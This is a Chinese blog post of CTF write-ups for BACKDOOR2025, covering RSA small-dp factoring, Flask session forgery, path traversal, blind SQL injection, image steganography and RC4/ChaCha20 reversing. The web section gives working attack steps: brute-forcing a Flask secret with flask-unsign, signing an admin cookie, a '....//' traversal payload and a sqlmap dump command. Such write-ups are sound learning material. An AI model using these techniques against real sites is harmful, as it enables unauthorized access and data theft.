当前位置: 首页 > news >正文

BACKDOOR2025--部分题解

一、Crypto

1、bolt_fast

题目描述:Everyone keeps telling me to worry about Wiener's attack, but they just don't understand optimization. Don't bother checking my key size; it's huge. You'll never catch me! Hahahaha!

我们拿到两个文件output.txt

Need for Speed Since Wiener said calculating d_p and d_q is fast, I decided to make it even faster 'cause I am smarter. N = 22061149554706951873851465765917042279909309233484615798640186468876401527123242297915465375459511054772541825273007749026648641620485458471351811298443479262277231839408201654282927999029324652496830649919637863202844794784443579336735415046336390091671003022244732389217910334465895328371360158510046347031294125509649474722535171601096998732929497780870057433634214228116293166963101489644680801538837005001377764416442380530464289453201654394144682138927826247301956954884930328147978637795259346321547054237005318172528896865428457293207571804464061990459958593520373578234234490804585522859401957032395007142007 e = 9648003423571638489624579625383119603270189664714210175737275695548206153582516635644990660189908448510652756058045483763071850222529184219333877863638216254054444012130393864033392161426815671725858723096432660521038315432183692553568344247916320931122090436770154203149432285380142051084178668290839858171 c = 18817014323644102879407569381912044887671193778381872592373573382139976320220125847317309926920208859012582031032930373240219755720268543444729983316326640661427616841700761054678137741340093140586895094016730198447552611014038632666821117758006775144046000049080406858764900680265384743839472653817299383323869146152251839342236631780818396088131196202767951301023089053662813175083035336272981588533957561537975684034210166185396046071368061264321959248372783262788158418696375783427276741258526067168910326630496339287237940444426277757582174810909733937257258767407189452212391936958267819666424558678534741723930

chall.py

from Crypto.Util.number import getPrime, inverse, bytes_to_long def flash_key(): while True: p = getPrime(1024) q = getPrime(1024) N = p * q #you can't even use weiner's attack now hahaha dp_smart= getPrime(16) try: e = inverse(dp_smart, p-1) return N, e, dp_smart except ValueError: continue N, e, _= flash_key() flag = b"flag{REDACTED}" m = bytes_to_long(flag) c = pow(m, e, N) print("Need for Speed") print("Since Wiener said calculating d_p and d_q is fast, I decided to make it even faster 'cause I am smarter.") print(f"N = {N}") print(f"e = {e}") print(f"c = {c}")

提供了生成RSA密钥的Python代码,关键点:

  1. N= p * q,其中p和q是1024位素数

  2. dp_smart是一个16位的素数(取值范围2-65535)

  3. edp_smart在模(p-1)下的逆元,即满足:

    e⋅dp_smart≡1 (mod p−1)e⋅dp_smart≡1 (mod p−1)
  4. 实际输出中,公钥为(N, e)dp_smart被丢弃

数学原理:

在RSA-CRT(中国剩余定理)优化中:

  • dp = d mod (p-1),其中d是私钥

  • 通常满足:e⋅dp≡1 (mod p−1)e⋅dp≡1 (mod p−1)

本题中,dp_smart就是dp,且非常小(16位素数)。
已知关系:

e⋅dp≡1 (mod p−1)e⋅dp≡1 (mod p−1)

这意味着存在整数k使得:

e⋅dp=1+k(p−1)e⋅dp=1+k(p−1)

解密脚本:

from Crypto.Util.number import long_to_bytes, GCD import sympy N = 22061149554706951873851465765917042279909309233484615798640186468876401527123242297915465375459511054772541825273007749026648641620485458471351811298443479262277231839408201654282927999029324652496830649919637863202844794784443579336735415046336390091671003022244732389217910334465895328371360158510046347031294125509649474722535171601096998732929497780870057433634214228116293166963101489644680801538837005001377764416442380530464289453201654394144682138927826247301956954884930328147978637795259346321547054237005318172528896865428457293207571804464061990459958593520373578234234490804585522859401957032395007142007 e = 9648003423571638489624579625383119603270189664714210175737275695548206153582516635644990660189908448510652756058045483763071850222529184219333877863638216254054444012130393864033392161426815671725858723096432660521038315432183692553568344247916320931122090436770154203149432285380142051084178668290839858171 c = 18817014323644102879407569381912044887671193778381872592373573382139976320220125847317309926920208859012582031032930373240219755720268543444729983316326640661427616841700761054678137741340093140586895094016730198447552611014038632666821117758006775144046000049080406858764900680265384743839472653817299383323869146152251839342236631780818396088131196202767951301023089053662813175083035336272981588533957561537975684034210166185396046071368061264321959248372783262788158418696375783427276741258526067168910326630496339287237940444426277757582174810909733937257258767407189452212391936958267819666424558678534741723930 def small_dp_attack(N, e, dp_limit=65536): for dp_candidate in range(2, dp_limit): if sympy.isprime(dp_candidate): try: # 计算 2^(e*dp_candidate) mod N val = pow(2, e*dp_candidate, N) p = GCD(val - 2, N) if 1 < p < N and N % p == 0: return dp_candidate, p, N//p except: continue return None print("Running small dp attack...") res = small_dp_attack(N, e) if res: dp, p, q = res print("Found dp =", dp) print("p =", p) print("q =", q) phi = (p-1)*(q-1) d = pow(e, -1, phi) m = pow(c, d, N) print("Flag:", long_to_bytes(m).decode())

二、WEB

1、Flask of Cookies

题目描述:A tiny Flask app that looks harmless… or does it? Some things aren’t quite what they seem, especially the parts you can’t see. Take a closer look — maybe there’s a way to convince the system you’re someone else.

我们可以拿到网站的源码,关键就是分析源码中app.py

from flask import Flask, render_template, session from dotenv import load_dotenv import os load_dotenv() app = Flask(__name__) app.secret_key = os.environ["SECRET_KEY"] # 密钥从环境变量读取 flag_value = open("./flag").read().rstrip() def derived_level(sess, secret_key): """判断用户权限级别""" user = sess.get("user", "") role = sess.get("role", "") if role == "admin" and user == secret_key[::-1]: # 关键条件 return "superadmin" return "user" @app.route("/") def index(): """首页,设置默认session""" if "user" not in session: session["user"] = "guest" session["role"] = "user" return render_template("index.html") @app.route("/admin") def admin(): """管理员页面,需要superadmin权限""" level = derived_level(session, app.secret_key) if level == "superadmin": return render_template("admin.html", flag=flag_value) return "Access denied.\n", 403

想要拿到flag需要满足:role== "admin" user== secret_key[::-1](密钥的反转字符串)

解题步骤:

步骤1:信息收集

1、获取初始 session cookie:

eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTRUzw.-HK1yh3vXd7jjNJrtFGilSgCp9w

2、解码session 数据:

# 解码第一部分(base64) import base64 import json cookie = "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTRUzw.-HK1yh3vXd7jjNJrtFGilSgCp9w" parts = cookie.split('.') data = base64.urlsafe_b64decode(parts[0] + '=' * (-len(parts[0]) % 4)) # 得到: {"role":"user","user":"guest"}

步骤2:分析攻击面

  • Flask session 存储在客户端,使用签名防止篡改

  • 需要获取SECRET_KEY才能伪造有效 session

  • 密钥强度未知,可能可爆破

步骤3:尝试密钥爆破

flask-unsign --unsign \ --cookie "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTRUzw.-HK1yh3vXd7jjNJrtFGilSgCp9w" \ --wordlist /usr/share/wordlists/rockyou.txt \ --no-literal-eval # 输出结果: # [*] Session decodes to: {'role': 'user', 'user': 'guest'} # [*] Starting brute-forcer with 8 threads.. # [+] Found secret key after 384 attempts # b'qwertyuiop'

步骤4:伪造管理员 session

1、计算需要的user值:

secret_key = "qwertyuiop" user_value = secret_key[::-1] # "poiuytrewq"

2、创建管理员session 数据:

{ "user": "poiuytrewq", "role": "admin" }

3、使用密钥签名生成 cookie:

flask-unsign --sign \ --cookie "{'user': 'poiuytrewq', 'role': 'admin'}" \ --secret 'qwertyuiop' # 输出:eyJ1c2VyIjoicG9pdXl0cmV3cSIsInJvbGUiOiJhZG1pbiJ9.aTReEg.5lgavEsZaF7GCAjYlLSng0GCtrk

步骤5:获取flag

# 使用伪造的 cookie 访问 /admin 路由 curl -H "Cookie: session=eyJ1c2VyIjoicG9pdXl0cmV3cSIsInJvbGUiOiJhZG1pbiJ9.aTReEg.5lgavEsZaF7GCAjYlLSng0GCtrk" \ http://localhost:8000/admin # 返回包含 flag 的页面

2、Image Gallery

题目描述:The gallery seems calm… but a secret lies behind the scenes.

同样会拿到源码,内容非常多,但是主要是源码审计分析一下server.js

app.get('/image', (req, res) => { let file = req.query.file || ''; file = file.split('../').join(''); // 不完整的过滤 const resolved = path.join(BASE_DIR, file); // 路径拼接 fs.readFile(resolved, (err, data) => { ... }); });

可以看到存在目录遍历漏洞,分析代码可知:

  • 只移除了../字符串

  • 没有处理其他路径遍历变体(如......//

  • path.join()会解析相对路径

绕过方法:

  1. ....//secret/flag.txt→ 移除../后变为..//secret/flag.txt

  2. ..//secret/flag.txt→ 保持不变,path.join()会解析为上级目录

payload:

?file=....//secret/flag.txt

3、No Sight Required

题目描述:We've built the most efficient user directory service - it only tells you what you need to know. No unnecessary data exposure, no verbose error messages, just clean yes/no answers. Some say less is more. We say less is secure.

解题步骤:

1、信息收集:

  • 访问网站发现一个用户搜索功能

  • 输入框预填充了SQL注入payload:1' or '1'='1 #

  • 参数名为id,使用GET方法提交到/search端点

2、漏洞识别:

  • 测试基础SQL注入payload时发现只返回"Invalid input"错误

  • 这表明可能是一个盲注场景,应用不返回查询数据,只返回不同状态

3、直接使用sqlmap即可

sqlmap -u "http://x.x.x.x/search?id=1" -T secret_flags --dump +----+--------------------------------------+ | id | flag | +----+--------------------------------------+ | 1 | flag{bl1nd_but_n0t_l0st_1n_th3_d4rk} | +----+--------------------------------------+

三、Forensics

1、Fractonacci

题目描述:Beautiful. Red. Fractonacci. What could this mean??

文件分析:

  • 给了一个challenge.png(6000×6000,RGBA,7.8 MB)。

  • binwalk检测到 PNG 数据后附加了一段固件头(JBOOT SCH2),可能用于干扰。

  • 尝试提取附加数据未发现明显 flag,推测 flag 可能隐藏在 PNG 图像本身。

关键词解析:

  • Fractonacci:明显是Fractal(分形)与Fibonacci(斐波那契数列)的组合词,提示要用斐波那契数列处理。

  • Beautiful:可能指“黄金比例”(φ),斐波那契数列相邻项比值趋近 φ。

  • Red:可能指 PNG 图像的红色通道(R 值)。

解题思路:

  1. 忽略附加数据:虽然文件尾部附加了数据,但题目分值不高,flag 很可能直接藏在图像像素中。

  2. 斐波那契索引法:用斐波那契数列的值作为像素坐标的索引(按行优先或列优先),从图像中提取数据。

  3. 红色通道提取:根据“Red”提示,只取每个像素的 R(红色)值。

  4. 转换为字符:将 R 值(0–255)视为 ASCII 码,转换成字符。

实施步骤:

  1. 使用 Python 的 PIL 库加载 PNG 图像。

  2. 生成斐波那契数列(F0=0, F1=1, F2=1, ...),直到索引超出图像总像素(6000×6000)。

  3. 对每个斐波那契数f,计算像素坐标:

    • x = f % width

    • y = f // width

  4. 取该像素的红色通道值r,将r转换成字符chr(r)

  5. 将字符按顺序拼接,观察结果。

完整脚本:

from PIL import Image img = Image.open('challenge.png') pix = img.load() w, h = img.size fib = [0, 1] while fib[-1] < w * h: fib.append(fib[-1] + fib[-2]) flag = '' for f in fib[:200]: # 只需前几十项即可 if f < w * h: x, y = f % w, f // w r, _, _, _ = pix[x, y] flag += chr(r) print(flag) # 输出包含 flag 的字符串

四、REV

1、To jmp or not jmp

题目描述:Another flag checker, eh? But the code is beyond my understanding. It makes my head spin! There's just too many jumps!

解题过程:

1、初步分析:

file challenge # 输出: ELF 64-bit LSB pie executable, x86-64, stripped ./challenge # 输出: Enter the flag: [输入] Wrong! Try again.

2、使用 Ghidra 反汇编:

  • 程序被控制流平坦化 (Control Flow Flattening)严重混淆

  • 存在大量条件跳转和无条件跳转

  • 主要函数FUN_001016a1结构复杂,难以直接分析

3、进行动态分析:

  • 定位关键字符串,发现输入缓冲区地址:0x5555555583a0

(gdb) break _ZNSi7getlineEPcl # C++ getline 函数 (gdb) run <<< "test"
  • 跟踪输入处理:

通过单步执行和断点,发现程序:

  1. 读取输入到0x5555555583a0

  2. 进行某种加密处理

  3. 比较处理结果

  • 定位加密数据,搜索内存中的常量数据,发现66字节的加密数据

(gdb) x/66bx 0x555555556040 8f 36 cf 7d 04 8e 35 ac 0f e8 3f 53 8b 87 ac 26 18 5b 13 c7 ff a6 1d 92 29 b7 62 af a9 b0 cf 74 d2 99 4e 55 47 a9 77 3b 67 28 cb 52 74 90 47 24 15 94 e1 4e 4d f2 57 ad 7f 5d 22 17 05 08 8b 2a ed f1
  • 定位密钥

(gdb) x/32bx 0x555555556020 21 61 31 20 61 26 0d 39 61 2b 0d 20 31 66 73 52 0f
  • 算法识别

通过分析代码逻辑和内存操作,识别出:

  • 算法: RC4 流加密

  • 密钥处理: 原始数据 XOR 0x52

  • 密钥:s3cr3t_k3y_rc4!(15字节)

  • 加密数据: 66字节

解密脚本:

def rc4_decrypt(ciphertext, key): S = list(range(256)) j = 0 # KSA for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] # PRGA & 解密 i = j = 0 plaintext = [] for char in ciphertext: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] plaintext.append(char ^ k) return bytes(plaintext) # 加密数据 encrypted_flag = [0x8f, 0x36, 0xcf, 0x7d, ...] # 66字节 # 密钥 key = b's3cr3t_k3y_rc4!' # 解密 flag = rc4_decrypt(encrypted_flag, key) print(flag.decode())

2、Where code

题目描述:That's it! I am done! I tried but cannot find any useful code! I am handing down this to you! Find the code and get the flag! Good luck!

解题过程:

1. 初步分析

  • 运行程序,提示输入 flag,验证正确性。

  • 使用strings查看字符串,发现 "Enter the flag:"、"Correct! You found the flag!"、"Wrong flag. Try again!",无直接 flag。

  • 使用objdump -d反汇编,发现大量 C++ 库函数调用和自定义函数。

2. 识别加密算法

  • 反汇编代码中出现常量0x617078650x3320646e0x79622d320x6b206574(对应字符串 "expand 32-byte k"),表明使用了ChaCha20流密码。

  • 观察到rol(循环左移)操作和类似 ChaCha20 quarter round 的函数,确认算法为 ChaCha20 或其变种。

3. 定位关键数据

  • 通过分析比较函数(地址0x5555555559a7),发现程序将输入加密后与硬编码密文比较。

  • 硬编码密文地址:0x555555556040(34 字节)

  • 密钥地址:0x555555556080(32 字节:00 01 02 ... 1f

  • Nonce 地址:0x5555555560a0(8 字节:00 00 00 00 00 00 00 4a

4. 动态调试获取密钥流

  • 输入 34 个 'A'(0x41),在加密后断点(0x55555555594d)获取加密结果:

63 0e 10 b2 01 5a 98 a0 6e 9f 66 2e f9 22 5c ac cd 52 5e c3 7c 6d 47 a3 3f 0e 8b ad df b2 8e 39 cb 3b
  • 硬编码密文:

44 23 30 94 3b 72 97 d0 70 b8 06 01 d1 3c 50 84 e2 22 40 ef 0d 02 28 cc 4f 10 ee 89 ad ac b6 37 ff 46

5、计算密钥流与 flag

  • 假设算法为流密码:密文 = 明文 XOR 密钥流

  • 对于输入 'A'(0x41),计算密钥流:密钥流 = 'A' XOR 加密结果

  • 用密钥流解密硬编码密文,得到:flag{iN1_f!ni_Min1_m0...1_$e3_yOu}

encrypted_input = bytes.fromhex("630e10b2015a98a06e9f662ef9225caccd525ec37c6d47a33f0e8baddfb28e39cb3b") expected_cipher = bytes.fromhex("442330943b7297d070b80601d13c5084e22240ef0d0228cc4f10ee89adacb637ff46") plain_input = b'A' * 34 keystream = bytes(a ^ b for a, b in zip(plain_input, encrypted_input)) flag = bytes(a ^ b for a, b in zip(keystream, expected_cipher)) print("Flag bytes:") for i, (k, ec, ei, f) in enumerate(zip(keystream, expected_cipher, encrypted_input, flag)): print(f"{i:2}: keystream={k:02x}, exp={ec:02x}, enc_in={ei:02x}, flag={f:02x} '{chr(f) if 32 <= f < 127 else '.'}'") print("\nFull flag (as string):", flag.decode('utf-8', errors='ignore')) print("Full flag (hex):", flag.hex())
http://www.jsqmd.com/news/212401/

相关文章:

  • HKCERTCTF2025--解题记录
  • MySQL中的binlog日志
  • 零基础转行AI大模型产品经理,我的完整学习路线与资源分享
  • UPDATE语句的完整执行过程
  • 一个基于 Node.js 和 FFmpeg 的视频合并 CLI 工具,支持为视频添加片头、片尾,以及批量处理多个视频文件。
  • [特殊字符]_网络IO性能优化:从TCP到HTTP的层层优化[20260107164433]
  • AI改图工具实操,冬装白底图快速生成高点击场景图
  • 电影解说从0到1,要准备哪些工具?一套能跑通的实战清单
  • ⚡_延迟优化实战:从毫秒到微秒的性能突破[20260107164942]
  • SQLi-Labs搭建及通关
  • [特殊字符]_可扩展性架构设计:从单体到微服务的性能演进[20260107163924]
  • [特殊字符]_压力测试与性能调优的完整指南[20260107165451]
  • 一文讲清:主流大模型推理部署框架:vLLM、SGLang、TensorRT-LLM、ollama、XInference
  • 豆包本地文件问答下线后的打开方法
  • NestJS 中动态 Swagger 参数文档的实现
  • 【光子AI 2026 企业级 Agent 架构指南】别再把 Skill 当 Tool:Agent Skills × MCP 企业级落地全指南(最新定义澄清 + 场景大全 + 选型决策树+安全工程清单)
  • 格雷希尔:G15F-KFYK-FD39 定制款快速密封连接器,适配自动化产线,赋能电驱动通讯接口的自动化密封测试
  • 如何判断光耦 PC817 的好坏
  • Go 语言的“舒适区”:为何在这张“鄙视链”金字塔中,Go 仅次于 C?
  • 大模型AI学习路线:从提示词工程到模型部署的全栈教程,90天变身高薪工程师
  • 什么是企业机器人流程自动化RPA
  • 【分布式系统】02 现实世界的法则 —— 分布式系统的定义、模型与核心挑战
  • 分区操作系统、容器化、虚拟机的概念
  • 2025年广州市“人工智能+”典型案例集|附118页PDF文件下载
  • FastAPI + LangGraph + Multi-Agent 完整工程源代码实现:含真实目录结构, Gateway / Agent / Tool / Memory 分层,完整源代码实现
  • 自定义封装tabs,超出显示上下翻页按钮
  • ArkUI-X 6.0 跨平台框架能否取代 Flutter?
  • 2026年人工智能全景报告|附34页PDF文件下载
  • 还在只会 add/commit/push?醒醒吧:这 15 条 Git 命令,能把你从“记录员”直接抬成“仓库法师”
  • 自定义tabs(支持横向/竖向排列)